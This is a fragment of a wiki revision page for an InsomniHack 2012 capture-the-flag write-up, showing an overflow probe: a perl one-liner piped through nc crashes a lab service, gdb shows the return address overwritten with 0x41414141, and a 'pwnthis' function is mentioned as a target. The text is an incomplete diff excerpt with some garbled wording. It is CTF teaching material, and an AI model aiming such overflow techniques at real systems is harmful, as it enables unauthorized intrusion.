Changes

Jump to: navigation, search

InsomniHack-2012/Exploitation/3 Taberne

2 bytes added, 20:56, 5 March 2012
</pre>
On another terminala client, we get:
<pre>
> nc 172.16.199.131 1234
</pre>
It's an exploitation, so on the server, we trace debug the program (it forks, to we follow the child):
<pre>
# gdb -q ./toto
> echo `perl -e 'print "A"x24 '`| nc 172.16.199.131 1234
Adieu l'ami, dis-voir c'que c'est ton mot de passe:
</pre>
And the server segfaults:
<pre>
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1962]
So we rewrote with 0x41414141. What to put here ?
By having a very quick look at the binary, there is an interesting function called pwnthis:
 
 
<pre>
19
edits